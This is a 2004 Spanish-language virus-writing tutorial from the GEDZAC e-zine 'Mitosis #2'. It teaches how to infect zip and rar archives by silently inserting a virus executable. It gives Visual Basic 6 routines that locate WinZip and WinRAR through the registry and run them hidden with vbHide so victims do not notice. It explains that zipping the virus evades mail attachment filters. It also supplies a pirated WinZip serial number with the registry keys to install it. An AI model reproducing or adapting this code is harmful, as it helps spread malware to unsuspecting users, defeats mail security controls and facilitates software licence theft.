(C) MITOSIS #2 E-Zine/GEDZAC 2004 Tema : Infeccion de Zip's y Rar's Autor : Morusa Válido para : Visual Basic 6, WinZip y WinRar **-Infección de Zip's La pregunta es como infectar archivos zip's y pues el programa Winzip nos ayuda en ello. ¿Como? - Pues con sus comandos que nos permiten zipear de manera que el usuario no se de cuenta. Winzip nos proporciona comandos llamados parámetros para crear zip`s, esto nos servirá para enviar nuestro virus por mail zipeado, porque si lo enviamos el archivo adjunto de extensión "exe" el sevidor de mail nos lo retendrá porque son las extensiones más utilizadas por los virus en internet entre las cuales estan las ".com", ".pif", ".scr", ".vbs"... y ya no se puede, así que zipeando si se puede. Winzip es una herramienta que es utilizada en todo el mundo y nosotros aprove- charemos eso. Primero que nada debemos obtener la dirección de winzip, que es muy fácil de obtener, esta en: HKLM\Software\Microsoft\Windows\Currentversion\Uninstall\Winzip\UninstallString El cual por ejemplo nos arrojará el siguiente valor al lear la cadena: "C:\ARCHIVOS DE PROGRAMA\WINZIP\WINZIP32.EXE" /uninstall Ahora ¿Como obtener fácilmente la dirección?, Sencillo: Winzip = fso.GetParentFolderName(Direcciondewinzip) Así de simple. Comandos: -------- *--Agregar un Archivo a un zip. Shell Winzip & " -a " archivozip & " " & archivoexe Ejemplo: Shell Winzip & " -a C:\Hola.zip" & " C:\virus.exe" *--Agregar varios archivos a un zip Puedes Agregar varios archivos de diferentes formas por extensíon y por nombre y dirección de los archivos. Ejemplo: Shell Winzip & " -a C:\Hola.zip" & " C:\windows\System\*.*" 'Ziperá todos los archivos que se encuentran en ese directorio Shell Winzip & " -a C:\Hola.zip" & " C:\windows\System\*.dll" 'Zipeará todos los archivos con extensión dll que esten en ese directorio Shell Winzip & " -a C:\Hola.zip" & " C:\virus.exe C:\Archivo.txt" 'Zipeará los archivos que fueron escritos no importando la dirección *--Extraer Archivos La sintáxis para extraer archivos de un zip es la siguiente: Shell Winzip & " -e " & archivozip & " " & directorio Ejemplo Shell Winzip & " -e C:\Hola.zip" & " C:\" *--¿Como Crear un Archivo zip sin formato? Sencillo, sólo Abre un archivo de modo binario y cierralo, es todo, nadamas que con extensión zip Ejemplo: Open "C:\Archivozip.zip" for binary as #1 Close #1 *--Ahora a lo que vamos, la infección. Simplemente buscar por algún método de búsqueda que quieras y al encontrarlo sólo adicionar nuestro programa "Virus" con un nombre convincente para que el usuario lo abra y así se produzca la infección en otro sistema. Ejemplo: Supongamos que encontramos el siguiente archivo --> "A:\Cosas.zip", Ahora vamos a infectarlo Winzip = "C:\ARCHIVOS DE PROGRAMA\WINZIP\WINZIP32.EXE" midir = "C:\Windows\System32\virus.exe" Call infectar("A:\Cosas.zip") Sub infectar(Direccion as string) Shell Winzip " -a " & Direccion & " " & midir, VbHide 'Supongamos que winzip tiene el valor de la dirección y nombre del 'programa Winzip y midir tiene el valor de la dirección de nuestro exe 'junto con el nombre y así ahora añadirlo. 'El VbHide nos sirve para ocultar el programa, así no se dará cuenta el 'usuario de que se está infectando un archivo de su diskette. Porque si 'no lo ponemos en caso de que tarde, se muestra el programa añadiendo un 'archivo. End sub *-- Registro de Winzip Otro problema que nos proporciona Winzip es que no esté registrado lo cual no es difícil de registrarlo simplemente con las siguientes cadenas del regedit: "HKCU\software\nico mak computing\winzip\winini\Name" "HKCU\software\nico mak computing\winzip\winini\SN" "HKEY_USERS\.DEFAULT\software\nico mak computing\winzip\winini\Name" "HKEY_USERS\.DEFAULT\software\nico mak computing\winzip\winini\SN" Donde: Name = "Nombre del registrado" SN = "Numero de serie o Serial Number" En estos Valores de cadena "REG_SZ" puedes crear uno con un generador de numeros de serie que lo puedes encontrar en internet, Es igual el numero de serie para registrar Winzip en todas sus versiones Ejemplo: Name = "GEDZAC" SN = "EBB9042E" Si escribes en el registro las cadenas anteriores con los valores de arriba estará registrado winzip con el nombre de GEDZAC. (Comprobado en versiones 8.x y 9.x). **- Infección de archivos Rar's. Al igual que los zip's tambien los archivos rar se pueden infectar de manera sencilla, y es muy usado en todo el mundo. No es necesario registrarlo como el winzip que nos mostraba la pantalla de que si estas o no de acuerdo del uso de este para que saques el número de serie. Obtendremos la dirección de winrar HKCR\WinRAR\shell\open\command\(Predeterminado) Resultado de leer la cadena de arriba = "C:\ARCHIVOS DE PROGRAMA\WINRAR\WinRAR.exe" "%1" De que manera obtener sólo el path: winrar = StrReverse(wss.regread("HKCR\WinRAR\shell\open\command\")) 'Leo e invierto la cadena w = InStr(1, winrar, " ", vbBinaryCompare) 'Obtengo el espacio entre el path y el "%1" winrar = StrReverse(Mid(winrar, w, Len(winrar))) 'Recorto y vuelvo a dejar la cadena como estaba (La revierto) Ahora ya tenemos lo que nos interesa (el path) para empezar a infectar archivos rar y este programa además de ofrecernos la infección a archivos rar tambien nos permite a zip, es más fácil de utilizar que winzip. Ejemplo: *-Agregar archivo (Infectar) Shell winrar & " a " & archivorar & " " & "archivoacomprimir" Agrega un archivo Shell winrar & " a C:\archivozip.zip C:\virus.exe" 'Añade el archivo virus.exe al archivozip.zip Shell winrar & " a C:\archivorar.rar C:\virus.exe" 'Añade el archivo virus.exe al archivorar.rar Agrega un directorio Shell winrar & " a C:\archivozip.zip C:\" 'Añade todos los archivos de C:\ a el archivo archivozip.zip Shell winrar & " a C:\archivorar.rar C:\" 'Añade todos los archivos de C:\ a el archivo archivorar.rar La ventaja es de que si no existe el archivo winrar lo crea. *--Extraer archivos Shell winrar & " x archivorar archivoaextraer" Ejemplos: Extraer un archivo Shell winrar & " x C:\archivorar.rar archivo.txt" 'Extrae el archivo "archivo.txt" de archivo .rar Shell winrar & " x C:\archivozip.zip archivo.txt" 'Extrae el archivo "archivo.txt" de archivo .zip Extraer todos los archivos Shell winrar & " x C:\archivozip.rar C:\" 'Extrae todos los archivos del archivo .rar a "C:\" Shell winrar & " x C:\archivozip.zip C:\" 'Extrae todos los archivos del archivo .zip a "C:\" Al igual que en winzip la infección es igual: Sub infectar(Direccion as string) Shell winrar " -a " & Direccion & " " & midir, VbHide 'Supongamos que winrar tiene el valor de la dirección y nombre del programa 'Winrar y midir tiene el valor de la dirección de nuestro exe junto con el 'nombre para añadirlo al archivo rar. 'El VbHide nos sirve para ocultar el programa, así no se dará cuenta el 'usuario de que se está infectando un archivo. Porque si no lo ponemos en 'caso de que tarde, se muestra el programa añadiendo un archivo y eso 'delatará nuestro virus. End sub ******************************************************************************** Nota: Se tiene problemas con las direcciones, para resolver esto utilizaremos el método ShortPath de la fso. Ejemplo: Set fso = CreateObject ("Scripting.FileSystemObject") Set archivo = fso.GetFile(Direccion_del_archivo_y_archivo) 'Ejemplo: C:\Mis documentos\Archivozip.zip o C:\Mis documentos\Archivorar.rar direccioncorta = archivo.ShortPath Lo que hace es crear un path sin espacios, del primer path que escribí de ejemplo arrojará lo siguiente "C:\MISDOC~1\ARCHIV~1.ZIP" una dirección corta Así no te causará problemas para la infección de archivos ya que no admiten espacios en los path. Esto va para el archivo a infectar y el archivo a comprimir (osea Zip y virus ejm.) Ejemplo: Public Sub infectarzip(nomzip As String,midir as string) Dim ar1, pt1, pt2 'Ar1:lo utilizo para colocar las propiedades del archivo 'Pt1: lo utlizo para colocar el path del zip 'Pt2: lo utlizo para colocar el path del virus On Error GoTo err: Set ar1 = fso.getfile(nomzip) 'Coloco las propiedades del archivo zip en ar1 pt1 = ar1.shortpath 'Coloco el path corto en pt1 Set ar1 = fso.getfile(midir) 'Coloco las propiedades del virus en ar1 pt2 = ar1.shortpath 'Coloco el path corto en pt2 'Coloco las propiedades del archivo zip en ar1 Shell winzip & " -a " & pt1 & " " & pt2, vbHide err: End Sub ******************************************************************************** By Morusa ;-) (C) MITOSIS #2 E-Zine/GEDZAC 2004